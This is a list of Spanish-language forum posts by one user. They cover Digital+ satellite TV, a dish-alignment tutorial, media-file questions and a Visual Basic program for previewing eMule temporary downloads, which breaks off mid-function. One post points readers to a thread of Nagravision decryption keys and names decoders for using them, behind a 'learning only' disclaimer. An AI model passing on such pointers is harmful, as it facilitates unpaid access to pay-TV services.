Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - programatrix

#46
Espero que a los moderadores no les moleste este hilo, pedí permiso, si no os gusta me le borrais y ya está no voy a rechistar lo mas mínimo, para tener un poco de orden:
-Cada vez que haya un cambio se pondrá un nuevo mensaje en este hilo, solo un mensaje informativo con la hora y si se ha ido o hay una nueva unicamente usando este hilo
-Las Keys se pueden encontrar aquí: http://foro.elhacker.net/index.php/topic,125481.0.html
-Queda terminantemente prohibido pedir las keys en este hilo, o cualquier link que lleve a ellas ya que es: ILEGAL
-Que nadie use, por favor, este hilo para nada mas que para informar de los cambios, lo pido por favor.

Información
-¿Qué son las Keys?
Son unos código que abren la plataforma de pago D+ (o otra) a través del sistema Nagravisión 2 (o otro), las keys DEBEN usarse solo para aprender y investigar NUNCA para ver televisión de pago gratis.
-¿Qué es D+?
Es una plataforma de televisión de pago Española vía satélite (Astra y Hispasat), protegida con sistema Nagravisión 2.
-¿Qué debo hacer para investigar con las Keys?
Se necesita un decodificador con el firmware necesario, los siguientes son los que conozcon y uso: Axil, Fonestar, TwinBox 2 y todos sus clones..., por 70€ en españa te puedes hacer con uno.

-¿Qué es Luz y Oscuridad?
Es cuando esta plataforma esta siento Emulada, y Oscuridad es cuando no.

Saludos  ::)
P.D esta información es solo para aprender, no me hago responsable de cualquier otra cosa que se haga con ella.
#47
¿Me gustaría saber si los moderadores permitirían poner un hilo en el que se ponga el estado de la emulación de D+?
Saludos
#48
Antena hacia hispasat D+
1 ¿A quien va dirigido este tutorial?
Este tutorial va dirigido a la gente que quiere tener en una segunda casa Digital + para verlo con del descodificador oficial.

2 Montar la antena:
Lo primero, la antena para el hispasat en la zona de españa tiene que ser:
-60 cm o mas
-LNB 0.2 o mas

La antena venida de la tienda, está formada por un LNB, una plancha redonda, y un mastil que va desde el LNB hacia la antena, varios tornillos, un cacharro (suele ser negro), en el que se une la plancha con el mastil.
- Tienes que unir la antena con los tornillos de la plancha al cacharro
- Luego pasas el palo por el agujero y se sujeta a la plancha con dos tornillos
- Apretas el LNB al adaptador del palo con 2 tornillos apretados a presión.
Antena completa:
LNB:
Plancha Reflectora:
Hace falta también un Cable coaxial, pelado de esta manera:

Dos arandelas de metal:

El cable y las arandela se puede encontrar en cualquier cable de electronica.
2 Preparar el Deco D+
-El descodificador, tiene que ser que funcione por hispasat
-O tiene que ser de este modelo:

Si el decodificador es de los antiguos y está orientado hacia el astra, no funciona esto.

Seguimos los siguientes pasos:
-Conectamos a la luz
-El euroconector le ponemos en la televión
-Inroducimos el cable coaxial en el deco y lo enroscamos con la arandela
-Hacemos lo mismo fuera con el LNB, metemos el cable coaxial y lo enroscamos con la arandela

Una vez hecho esto, encendemos el descodificador y hacemos lo siguiente:
-Damos a perso
-Parámetros de la antena
-Configuración de referencia, movemos hacia hispasat y damos a confirmar
Volveremos a la pantalla anterior donde pone:
Astra
Señal: -18

3 Orientar la antena:
Esta es la parte más dificil, vais a esta web:
http://www.mediasoluciones.com/acimut/index.php
Y poneís vuestra provincia, la localidad y el satélite en esta caso: Hispasat 1B,1C,1D
Te dará tres datos:
-Azimut
-Elevación
-Polarización
Primero resolvemos en nuestra antena la elevación, la elevamos de tal manera que de con el mástil, luego bajamos un poquito la elevación, si tiene escala la elevas los grados que pone en la escala.
Segundo resolvemos la polarización, esto, en el caso del hispasat no es de lo mas importante, ya que el propio decodificador de digital + nos dice si está mal la polarización, la movemos 25º
Tercero con una buena brújula, ponemos el norte y el sur, orientas la antena hacia el sur en un principio, y luego empiezas  a moverla hacia el Oeste poco a poco, si se produce un cambio en la barra de la televisión, vuelve a atras. Si te pone de señal 58 en rojo, debes de girar el LNB 25º pero para el otro lado, con esto se pondrá en verde. Luego si quieres mas señal basta con elevarla un poco.
Lo mas dificil es obtener la señal inicial aunque sea mínima por eso debes de ir muy despacito.
Antes de nada mira si hay cerca de ti otras antenas parabólicas y orientalas igual, seguro que si es al mismo satélite te saldrá la señal a la primera.

4 Resintonización
Si en la primera casa ya estaba orientada hacia el Hispasat, se deja igual, pero si en la primera estaba hacia el Astra aquí das a:
Perso/Memorizacion de canales/Manual/Sintonización D+
Cuando vuelvas a la otra casa en la que le tienes hacie al Astra:
Perso/Memorización de canales/Automático

5 Créditos y finalización
Si no has podido orientarla preguntala aquí y intentaremos ayudarte, los créditos son de Rey11 le he hecho porque no he visto muchos tutoriales de antenas parabólicas.

Saludos a todos  ::)
#49
Multimedia / Avi.001, Avi.002, Avi.003
1 Enero 2007, 00:18 AM
Me he descargado una peli por partes, .avi.001 luego otro .avi.002 etc..
Y me gustaría saber como unirlos, Saludos
#50
Me gustaría saber si ya hay algo para cargar los backup de mis juegos originales de la wii, es que soy muy despistado con los cds y se me ensucian facilmente y quiero jugar con mis backup..., si teneís cualquier noticia dedidmelo.
Saludos  :)
#51
Multimedia / Formato ASF
28 Diciembre 2006, 00:53 AM
Yo con un programa me descargo video en streaming en formato asf, con el windows media player algunos archivos los reproduce y me deja saltar, irme al minuto 1, al 2, al 4, al 0 etc..., pero otros no, y lo que quiero es algún programa para reproducirlo y no tener que esperar 10 minutos por ejemplo hasta que llegue a la parte que quiero ver.
Saludos
#52
Se que ya se ha pedido algunas veces, pero me gustaría dar como sugerencia de crear un foro de televisión, de como sintonizarla, verla, diferentes tipos de TV (siempre que no sea de pago).
Las programaciones que hay en los canales, los feeds de los satélites, como orientar antenas parabólicas, la televisión por p2p, información sobre imagenio, información sobre D+ (pero sin meternos en su sistema de codificación, ni en sus keys ni en nagravisión ni nada que suene a verlo sin pagar), el foro estaría centrado principalmente a la televisión de libre difusión, y del paraíso de canales que hay en diferentes satélites gratuitos, tipos FTA.
Es solo una propuesta porque genial que hubiera tutoriales de como orientar parabólicas y todo ese tema.
Saludos
#53
Pequeño programa para ver archivos temporales de emule:

Datos en un formulario:
Dim fichero(0 To 200) As String
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Const SW_SHOWNORMAL = 1
Dim rutad As String
Dim ruta
Dim fecha As String
Dim dato As String
Dim part As String
Dim i As Integer
Dim elegido As String
Dim elegido2 As String
Dim respuesta As Integer

Public Sub KillProcess(ByVal processName As String)
On Error GoTo ErrHandler
Dim oWMI
Dim ret
Dim sService
Dim oWMIServices
Dim oWMIService
Dim oServices
Dim oService
Dim servicename
Set oWMI = GetObject("winmgmts:")
Set oServices = oWMI.InstancesOf("win32_process")
respuesta = 1
For Each oService In oServices

servicename = LCase(Trim(CStr(oService.Name) & ""))

If InStr(1, servicename, LCase(processName), vbTextCompare) > 0 Then
If (MsgBox("El proceso de emule está activo, ¿quieres cerrarle para hacer la previsualización", vbYesNo, "Cerrar emule") = vbYes) Then
ret = oService.Terminate
MsgBox ("Una vez cerrado el emule, se procederá a la previsualización")

Else
respuesta = 0
End If
Else


End If

Next

Set oServices = Nothing
Set oWMI = Nothing


ErrHandler:

Err.Clear
End Sub

Private Sub Command1_Click()


Dim nulo As String
Open ruta + "\downloads.txt" For Input As #1
Input #1, fecha
Input #1, ruta2
Input #1, nulo
Input #1, nulo
Input #1, nulo
Label2 = Label2 & Mid(fecha, 13, Len(fecha))
Label3 = Label3 & Mid(ruta2, 11, Len(ruta2))
While EOF(1) = False
Line Input #1, fichero(i)

List1.AddItem Mid(fichero(i), 1, 8)
part = Mid(fichero(i), 1, 8)
fichero(i) = Mid(fichero(i), 23)
fichero(i) = Replace(fichero(i), "%20", " ")
fichero(i) = Mid(fichero(i), 1, Len(fichero(i)) - 45)


List2.AddItem fichero(i)
List3.AddItem part & "  " & fichero(i)
Text1 = Text1 + fichero(i) + vbCrLf
i = i + 1
Wend
Close #1
Command1.Enabled = False
End Sub

Private Sub Command2_Click()
Dim v As Integer
For v = List3.ListCount - 1 To 0 Step -1
If List3.Selected(v) Then
elegido = List3.List(v)
End If
Next
Command2.Enabled = False
elegido2 = Mid(elegido, 10, Len(elegido))
elegido = Mid(elegido, 1, 8)
KillProcess ("emule.exe")
If (respuesta = 1) Then

FileCopy ruta & "\temp\" & elegido, ruta & "\temp2\" & elegido2
ShellExecute Me.hwnd, vbNullString, elegido2, vbNullString, ruta & "\temp2", SW_SHOWNORMAL
End If
Command2.Enabled = True
End Sub

Private Sub Command3_Click()
On Error GoTo fin
Kill ruta & "\temp2\*.*"
GoTo fin2
fin:
MsgBox "Error al eliminar los ficheros temporales", vbCritical, "Error"
fin2:

End Sub

Private Sub Command4_Click()
Form2.Show vbModal

End Sub

Private Sub Form_Load()
On Error Resume Next
ruta = RegGetValueData(RegCurrentUser, "Software\eMule", "Install Path")


MkDir ruta & "\temp2"
End Sub


Modulo de registro:
Option Explicit


Private Declare Function OSRegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function OSRegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, lpSecurityAttributes As SECURITY_ATTRIBUTES, phkResult As Long, lpdwDisposition As Long) As Long
Private Declare Function OSRegConnectRegistry Lib "advapi32.dll" Alias "RegConnectRegistryA" (ByVal lpMachineName As String, ByVal hKey As Long, phkResult As Long) As Long
Private Declare Function OSRegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Private Declare Function OSRegCloseKey Lib "advapi32.dll" Alias "RegCloseKey" (ByVal hKey As Long) As Long

Private Declare Function OSRegEnumKeyEx Lib "advapi32.dll" Alias "RegEnumKeyExA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpName As String, lpcbName As Long, ByVal lpReserved As Long, ByVal lpClass As String, lpcbClass As Long, lpftLastWriteTime As FILETIME) As Long
Private Declare Function OSRegFlushKey Lib "advapi32.dll" Alias "RegFlushKey" (ByVal hKey As Long) As Long
Private Declare Function OSRegQueryInfoKey Lib "advapi32.dll" Alias "RegQueryInfoKeyA" (ByVal hKey As Long, ByVal lpClass As String, lpcbClass As Long, ByVal lpReserved As Long, lpcSubKeys As Long, lpcbMaxSubKeyLen As Long, lpcbMaxClassLen As Long, lpcValues As Long, lpcbMaxValueNameLen As Long, lpcbMaxValueLen As Long, lpcbSecurityDescriptor As Long, lpftLastWriteTime As FILETIME) As Long

Private Declare Function OSRegReplaceKey Lib "advapi32.dll" Alias "RegReplaceKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal lpNewFile As String, ByVal lpOldFile As String) As Long
Private Declare Function OSRegRestoreKey Lib "advapi32.dll" Alias "RegRestoreKeyA" (ByVal hKey As Long, ByVal lpFile As String, ByVal dwFlags As Long) As Long
Private Declare Function OSRegSaveKey Lib "advapi32.dll" Alias "RegSaveKeyA" (ByVal hKey As Long, ByVal lpFile As String, lpSecurityAttributes As SECURITY_ATTRIBUTES) As Long

Private Declare Function OSRegEnumValue Lib "advapi32.dll" Alias "RegEnumValueA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpValueName As String, lpcbValueName As Long, ByVal lpReserved As Long, lpType As Long, lpData As Byte, lpcbData As Long) As Long
Private Declare Function OSRegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Declare Function OSRegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function OSRegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long

'Tipos de datos del registro
'
Const REG_NONE = 0                'No definido
Const REG_SZ = 1                  'Cadena de texto
Const REG_EXPAND_SZ = 2           'Cadena que contiene una referencia a una variable de entorno (por ej. %windir%)
Const REG_BINARY = 3              'Datos binarios en cualquier formato
Const REG_DWORD = 4               'Número de 32 bits
Const REG_DWORD_LITTLE_ENDIAN = 4 'Igual a REG_DWORD
Const REG_DWORD_BIG_ENDIAN = 5
Const REG_LINK = 6                'Un vínculo Unicode símbolico
Const REG_MULTI_SZ = 7            'Una matriz de cadenas terminadas en dos caracteres nulos
Const REG_RESOURCE_LIST = 8       'Lista de recursos de un controlador de dispositivo

Const READ_CONTROL = &H20000  'El derecho para leer la información en el descriptor de seguridad del objeto, no incluyendo la información en SACL.
Const SYNCHRONIZE = &H100000

'Derechos normales de acceso
'
Const STANDARD_RIGHTS_ALL = &H1F0000          'Lectura y escritura
Const STANDARD_RIGHTS_READ = (READ_CONTROL)   'Lectura
Const STANDARD_RIGHTS_WRITE = (READ_CONTROL)  'Escritura

'Argumentos para RegOpenKey
'
Const KEY_QUERY_VALUE = &H1         'Permiso para consultar los datos de una subclave
Const KEY_SET_VALUE = &H2           'Permiso para establecer los datos de una subclave
Const KEY_CREATE_SUB_KEY = &H4      'Permiso para crear subclaves
Const KEY_ENUMERATE_SUB_KEYS = &H8  'Permiso para enumerar subclaves
Const KEY_NOTIFY = &H10             'Permiso para cambiar notificación
Const KEY_CREATE_LINK = &H20        'Permiso para crear un vínculo simbólico
Const KEY_ALL_ACCESS = ((STANDARD_RIGHTS_ALL Or KEY_QUERY_VALUE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY Or KEY_CREATE_LINK) And (Not SYNCHRONIZE))
Const KEY_READ = ((STANDARD_RIGHTS_READ Or KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY) And (Not SYNCHRONIZE))
Const KEY_WRITE = ((STANDARD_RIGHTS_WRITE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY) And (Not SYNCHRONIZE))
Const KEY_EXECUTE = ((KEY_READ) And (Not SYNCHRONIZE))

'Valores devueltos por lpdwDisposition de RegCreateKey
'
Const REG_CREATED_NEW_KEY = &H1     'Se creó una nueva clave
Const REG_OPENED_EXISTING_KEY = &H2 'Se abrió una clave existente

'Valores para dwNotifyFilter de RegNotifyChangeKeyValue
'
Const REG_NOTIFY_CHANGE_NAME = &H1          'Si se agrega o elimina una clave
Const REG_NOTIFY_CHANGE_ATTRIBUTES = &H2    'Cambiar atributos de la clave
Const REG_NOTIFY_CHANGE_LAST_SET = &H4      'Modificar, agregar o eliminar un valor de la clave
Const REG_NOTIFY_CHANGE_SECURITY = &H8      'Cambiar el descriptor de seguridad de la clave (SECURITY_DESCRIPTOR)

'Argumentos para dwOptions de RegCreateKey
'
Const REG_OPTION_NON_VOLATILE = 0   '(Predeterminado) Crea una clave normalmente
Const REG_OPTION_VOLATILE = 1       'Borra la clave al reiniciar el sistema
Const REG_OPTION_CREATE_LINK = 2    'Crea un vínculo virtual
Const REG_OPTION_BACKUP_RESTORE = 4 'Para Windows NT

Const REG_OPTION_RESERVED = 0   'Reservado

Const REG_LEGAL_CHANGE_FILTER = (REG_NOTIFY_CHANGE_NAME Or REG_NOTIFY_CHANGE_ATTRIBUTES Or REG_NOTIFY_CHANGE_LAST_SET Or REG_NOTIFY_CHANGE_SECURITY)
Const REG_LEGAL_OPTION = (REG_OPTION_RESERVED Or REG_OPTION_NON_VOLATILE Or REG_OPTION_VOLATILE Or REG_OPTION_CREATE_LINK Or REG_OPTION_BACKUP_RESTORE)

'Para el argumento dwFlags de RegRestoreKey
'
Const REG_WHOLE_HIVE_VOLATILE = &H1 'Borra la clave al reiniciar el sistema

'Claves del registro
'
Const HKEY_CLASSES_ROOT = &H80000000
Const HKEY_CURRENT_CONFIG = &H80000005
Const HKEY_CURRENT_USER = &H80000001
Const HKEY_DYN_DATA = &H80000006
Const HKEY_LOCAL_MACHINE = &H80000002
Const HKEY_PERFORMANCE_DATA = &H80000004 'Sólo para NT
Const HKEY_USERS = &H80000003

Const ERROR_SUCCESS = 0&
Const ERROR_NO_MORE_ITEMS = 259&    'No hay más elementos

Const MODULE_DESC$ = "Registry Module"

Enum RegKeyConstants
    RegClassesRoot = HKEY_CLASSES_ROOT
    RegCurrentConfig = HKEY_CURRENT_CONFIG
    RegCurrentUser = HKEY_CURRENT_USER
    RegDynData = HKEY_DYN_DATA
    RegLocalMachine = HKEY_LOCAL_MACHINE
    RegPerformanceData = HKEY_PERFORMANCE_DATA
    RegUsers = HKEY_USERS
End Enum

Enum RegAccessType
    regqueryvalue = KEY_QUERY_VALUE
    RegSetValue = KEY_SET_VALUE
    RegCreateSubKey = KEY_CREATE_SUB_KEY
    RegEnumerateSubKeys = KEY_ENUMERATE_SUB_KEYS
    RegNotify = KEY_NOTIFY
    RegCreateLink = KEY_CREATE_LINK
    RegAllAccess = KEY_ALL_ACCESS
    RegRead = KEY_READ
    RegWrite = KEY_WRITE
    RegExecute = KEY_EXECUTE
End Enum

Enum RegValueTypeConstants
    RegString = REG_SZ
    RegExpandString = REG_EXPAND_SZ
    RegMultiString = REG_MULTI_SZ
    RegBinary = REG_BINARY
    RegDWORD = REG_DWORD
    RegDWORDLittleEndian = REG_DWORD_LITTLE_ENDIAN
    RegDWORDBigEndian = REG_DWORD_BIG_ENDIAN
    RegLink = REG_LINK
    RegUnknown = REG_NONE
    RegResourceList = REG_RESOURCE_LIST
End Enum

Enum RegCreateOptionsConstants
    RegVolatile = REG_OPTION_VOLATILE
    RegNonVolatile = REG_OPTION_NON_VOLATILE
    RegOptionBackupRestore = REG_OPTION_BACKUP_RESTORE
End Enum

Private Type SECURITY_ATTRIBUTES
    nLength As Long
    lpSecurityDescriptor As Long
    bInheritHandle As Long
End Type

Private Type FILETIME
    dwLowDateTime As Long
    dwHighDateTime As Long
End Type

Type RegValue
    sName As String
    cType As RegValueTypeConstants
    vData As Variant
    lData As Long
End Type

Type RegKey
    lLongKey  As RegKeyConstants
    sStringKey As String
    sPath As String
    sName As String
    lNameLen As Long
    lHandle As Long
    lSubKeys As Long
    lValues As Long
    tValues() As RegValue
    sClass As String
End Type

Function RegOpenKey(Optional Key As RegKeyConstants = RegLocalMachine, Optional ByVal SubKey As String, Optional DesiredAccess As RegAccessType = RegAllAccess) As RegKey
        Dim iPos%, r&
  With RegOpenKey
    r = OSRegOpenKeyEx(CLng(Key), SubKey, 0&, CLng(DesiredAccess), .lHandle)
    If r = ERROR_SUCCESS Then
      If Right(SubKey, 1) = "\" Then SubKey = Left(SubKey, Len(SubKey) - 1)
     
      iPos = InStrRev("\", SubKey)
     
      .sName = Mid(SubKey, iPos + 1)
      .lNameLen = LenB(.sName)
      .lLongKey = Key
      .sStringKey = GetKeyString(.lLongKey)
      .sPath = Left(SubKey, iPos)
    End If
  End With
End Function

Function RegCreateKey(Key As RegKeyConstants, SubKey As String, Optional Options As RegCreateOptionsConstants = RegNonVolatile, Optional DesiredAccess As RegAccessType = RegAllAccess, Optional Class As String) As RegKey
        Dim sa As SECURITY_ATTRIBUTES, r&
        Dim iPos%

  With RegCreateKey
    r = OSRegCreateKeyEx(CLng(Key), SubKey, 0&, Class, CLng(Options), _
    CLng(DesiredAccess), sa, .lHandle, 0&)
   
    If r = ERROR_SUCCESS Then
        If Not Right(SubKey, 1) Like "\" Then SubKey = SubKey & "\"
       
        iPos = InStrRev("\", SubKey)
       
        .sName = Mid(SubKey, iPos + 1)
        .lNameLen = LenB(.sName)
        .lLongKey = Key
        .sStringKey = GetKeyString(.lLongKey)
        .sPath = Left(SubKey, iPos)
    End If
  End With
End Function

Function RegConnectRegistry(MachineName As String, Optional Key As RegKeyConstants = RegLocalMachine) As RegKey
        Dim r&
  With RegConnectRegistry
    r = OSRegConnectRegistry(MachineName, CLng(Key), .lHandle)
   
    If r = ERROR_SUCCESS Then
      .sName = GetKeyString(Key)
      .lNameLen = LenB(.sName)
      .lLongKey = Key
      .sStringKey = GetKeyString(.lLongKey)
    End If
  End With
End Function

Function RegCloseKey(hKey As Long) As Boolean
  RegCloseKey = (OSRegCloseKey(hKey) = ERROR_SUCCESS)
End Function

Function RegDeleteKey(Key As RegKeyConstants, SubKey As String) As Boolean
  RegDeleteKey = (OSRegDeleteKey(CLng(Key), SubKey) = ERROR_SUCCESS)
End Function

Function RegEnumKeyNames(TargetArray() As String, Optional Key As RegKeyConstants = RegLocalMachine, Optional ByVal SubKey As String, Optional MaxKeysToEnum As Long = -1) As Long
  On Error GoTo CloseKey
          Dim iCount%, iArrayType%
          Dim hKey&, ft As FILETIME
          Dim r&, sName$, lName&

  hKey = RegOpenKey(Key, SubKey, RegEnumerateSubKeys).lHandle

  If hKey <> ERROR_SUCCESS Then
    Erase TargetArray
   
    Do
      lName = 256: sName = String(lName, 0)
      r = OSRegEnumKeyEx(hKey, iCount, sName, lName, 0&, ByVal "", 0&, ft)
     
      If r <> ERROR_NO_MORE_ITEMS Then
        ReDim Preserve TargetArray(iCount) As String
        TargetArray(iCount) = Left(sName, lName)
      Else
        GoTo CloseKey
      End If
Step:
      iCount = iCount + 1
      If MaxKeysToEnum > -1 And iCount = MaxKeysToEnum Then GoTo CloseKey
    Loop
   
CloseKey:
    Call RegCloseKey(hKey)
   
    RegEnumKeyNames = iCount
  End If
End Function

Function RegEnumKeys(TargetArray() As RegKey, Optional Key As RegKeyConstants = RegLocalMachine, Optional ByVal SubKey As String, Optional bEnumValues As Boolean = False, Optional MaxKeysToEnum As Long = -1) As Long
  On Error GoTo CloseKey
         
          Dim iCount%, iArrayType%
          Dim hKey&, ft As FILETIME
          Dim r&, sName$, lName&
          Dim sClass$, lClass&
         
  hKey = RegOpenKey(Key, SubKey, RegEnumerateSubKeys).lHandle

  If hKey <> ERROR_SUCCESS Then
    Erase TargetArray
   
    Do
      lName = 256: sName = String(lName, 0)
      lClass = 256: sClass = String(lName, 0)
     
      r = OSRegEnumKeyEx(hKey, iCount, sName, lName, 0&, sClass, lClass, ft)
     
      If bEnumValues Then
        'Enumerar valores
      End If
     
      If r <> ERROR_NO_MORE_ITEMS Then
        ReDim Preserve TargetArray(iCount) As RegKey
       
        With TargetArray(iCount)
            .sName = Left(sName, lName)
            .lNameLen = LenB(.sName)
            .lLongKey = Key
            .sStringKey = GetKeyString(.lLongKey)
            .sPath = SubKey
            .lValues = RegEnumValues(.tValues, hKey)
        End With
      Else
        GoTo CloseKey
      End If
Step:
      iCount = iCount + 1
      If MaxKeysToEnum > -1 And iCount = MaxKeysToEnum Then GoTo CloseKey
    Loop
CloseKey:
    Call RegCloseKey(hKey)
   
    RegEnumKeys = iCount - 1
  End If
End Function

Function RegQueryInfoKey(Optional Key As RegKeyConstants = RegLocalMachine, Optional ByVal SubKey As String, Optional QueryValues As Boolean = False, Optional OpenKey As Boolean = False) As RegKey
          Dim hKey&, ft As FILETIME
          Dim lClass&, r&
          Dim iPos%
         
  With RegQueryInfoKey
    hKey = RegOpenKey(Key, SubKey, RegRead).lHandle
   
    If hKey <> ERROR_SUCCESS Then
     
      lClass = 256: .sClass = String(lClass, 0)
      r = OSRegQueryInfoKey(hKey, .sClass, lClass, 0&, .lSubKeys, 0&, 0&, .lValues, 0&, 0&, 0&, ft)
     
      If r = ERROR_SUCCESS Then
        iPos = InStrRev(SubKey, "\")
        .sClass = Left(.sClass, lClass)
        .sName = Mid(SubKey, iPos + 1)
        .lNameLen = Len(.sName)
        .sPath = Left(SubKey, iPos)
        .lLongKey = Key
        .sStringKey = GetKeyString(.lLongKey)
       
        If Not OpenKey Then Call RegCloseKey(hKey) Else .lHandle = hKey
       
        If QueryValues Then
          r = RegEnumValues(.tValues, Key, SubKey)
        End If
      End If
    End If
  End With
End Function

Function RegFlushKey(hKey As Long) As Boolean
    RegFlushKey = (OSRegFlushKey(hKey) = ERROR_SUCCESS)
End Function

Function RegEnumValueNames(TargetArray() As String, Optional Key As RegKeyConstants = RegLocalMachine, Optional ByVal SubKey As String) As Long
  On Error GoTo CloseKey
          Dim hKey&, r&
          Dim sName$, lName&
          Dim lCount&
          Dim btData As Byte, lData&
          Dim lType&

  hKey = RegOpenKey(Key, SubKey, regqueryvalue).lHandle

  If hKey <> ERROR_SUCCESS Then
    Erase TargetArray

    Do
      lName = 256: sName = String(lName, 0)
      lData = 2000
      r = OSRegEnumValue(hKey, lCount&, sName, lName, 0&, 0&, ByVal btData, lData)
     
      If r = ERROR_SUCCESS Then
          ReDim Preserve TargetArray(lCount) As String
          TargetArray(lCount) = Left(sName, lName)
      Else: GoTo CloseKey
      End If
     
      lCount = lCount + 1
    Loop
   
CloseKey:

    Call RegCloseKey(hKey)
    RegEnumValueNames = lCount - 1
  End If
End Function

Function RegEnumValues(TargetArray() As RegValue, Optional Key As RegKeyConstants = RegLocalMachine, Optional ByVal SubKey As String) As Long
  On Error GoTo CloseKey
          Dim hKey&, r&
          Dim sName$, lName&
          Dim lCount&
          Dim btData As Byte, lData&
          Dim lType&

  hKey = RegOpenKey(Key, SubKey, KEY_QUERY_VALUE).lHandle

  If hKey <> ERROR_SUCCESS Then
    Erase TargetArray
   
    Do
      lName = 256: sName = String(lName, 0)
      lData = 2000
      r = OSRegEnumValue(hKey, lCount&, sName, lName, 0&, lType, ByVal btData, lData)
     
      If r = ERROR_SUCCESS Then
        ReDim Preserve TargetArray(lCount) As RegValue
        TargetArray(lCount) = RegGetValue(hKey, , Left(sName, lName))
      Else: GoTo CloseKey
      End If
     
      lCount = lCount + 1
    Loop
CloseKey:
   
    Call RegCloseKey(hKey)
    RegEnumValues = lCount - 1
  End If
End Function

Function RegGetValueData(Key As RegKeyConstants, Optional ByVal SubKey As String, Optional ValueName As String) As Variant
          Dim hKey&, r&
          Dim sData$, lDataLen&
          Dim lData&, ValType As RegValueTypeConstants
         
  hKey = RegOpenKey(Key, SubKey, regqueryvalue).lHandle
  ValType = RegString
  If hKey <> ERROR_SUCCESS Then
    Select Case ValType
      Case RegString, RegMultiString, RegExpandString, RegBinary, RegUnknown
        sData = String(2000, 0)
        lDataLen = LenB(sData)
        r = OSRegQueryValueEx(hKey, ValueName, 0&, ValType, _
                            ByVal sData, lDataLen)
        If ValType = RegDWORD Or ValType = RegDWORDBigEndian Or ValType = RegDWORDLittleEndian Then GoTo LongType
        RegGetValueData = Left(sData, lDataLen - 1)
      Case Else
LongType:
        r = OSRegQueryValueEx(hKey, ValueName, 0&, ValType, _
                             lData, lDataLen)
        RegGetValueData = lData
    End Select
    Call RegCloseKey(hKey)
  End If
End Function

Function RegGetValue(Key As RegKeyConstants, Optional ByVal SubKey As String, Optional ValueName As String) As RegValue
        Dim hKey&, r&
        Dim sData$, lDataLen&
        Dim lData&, ValType As RegValueTypeConstants

hKey = RegOpenKey(Key, SubKey, regqueryvalue).lHandle
ValType = RegString

If hKey <> ERROR_SUCCESS Then
  With RegGetValue
    Select Case ValType
        Case RegLink, RegString, RegMultiString, RegExpandString, RegBinary, RegUnknown
            sData = String(2000, 0)
            lDataLen = LenB(sData)
            r = OSRegQueryValueEx(hKey, ValueName, 0&, ValType, _
                                ByVal sData, lDataLen)
            If ValType = RegDWORD Or ValType = RegDWORDBigEndian Or ValType = RegDWORDLittleEndian Then GoTo LongType
            If r = ERROR_SUCCESS Then
                .vData = Left(sData, lDataLen)
                .lData = lDataLen
                .cType = ValType
                .sName = ValueName
            End If
        Case Else
LongType:
            r = OSRegQueryValueEx(hKey, ValueName, 0&, ValType, _
                                 lData, lDataLen)
            If r = ERROR_SUCCESS Then
                .vData = lData
                .lData = lDataLen
                .cType = ValType
                .sName = ValueName
            End If
    End Select
    Call RegCloseKey(hKey)
  End With
End If
End Function

Function RegDeleteValue(Key As RegKeyConstants, Optional ByVal SubKey As String, Optional ValueName As String) As Boolean
        Dim hKey&
hKey = RegOpenKey(Key, SubKey, RegSetValue).lHandle
RegDeleteValue = (OSRegDeleteValue(hKey, ValueName) = ERROR_SUCCESS)
Call RegCloseKey(hKey)
End Function

Function RegSetValues(Key As RegKeyConstants, SubKey As String, ValueName As Variant, Data As Variant, Optional ValueType As RegValueTypeConstants = RegString) As Integer
          Dim hKey&, r&
          Dim i%, iScsCount%
  hKey = RegOpenKey(Key, SubKey, RegSetValue).lHandle

  If hKey <> ERROR_SUCCESS Then
    If IsArray(ValueName) And IsArray(Data) Then
      'Si son dos matrices
      If (UBound(ValueName) - LBound(ValueName)) <> (UBound(Data) - LBound(Data)) Then
        'Si no tienen las mismas dimensiones se produce un error
        Call Err.Raise(45, MODULE_DESC, "Las matrices no tienen la misma dimensión")
      Else
        For i = LBound(ValueName) To UBound(ValueName)
          'Identifica el tipo de valor que se va a establecer
          Select Case ValueType
            Case RegString, RegMultiString, RegExpandString, RegBinary, RegUnknown
              r = OSRegSetValueEx(hKey, ValueName(i), 0&, _
                  CLng(ValueType), ByVal CStr(Data(i)), LenB(Data(i)))
            Case Else
              r = OSRegSetValueEx(hKey, ValueName(i), 0&, _
                  CLng(ValueType), CLng(Data(i)), 4)
          End Select
         
          'Si no hay ningún error aumenta el contador de valores
          'que se pudieron establecer
          If r = ERROR_SUCCESS Then iScsCount = iScsCount + 1
        Next
       
        'Devuelve el la cantidad de valores que se establecieron
        RegSetValues = iScsCount
      End If
    ElseIf IsArray(ValueName) Then
      'Si los nombres de valores están en una matriz
      For i = LBound(ValueName) To UBound(ValueName)
        'Establece todos los valores pero con los mismos datos
        Select Case ValueType
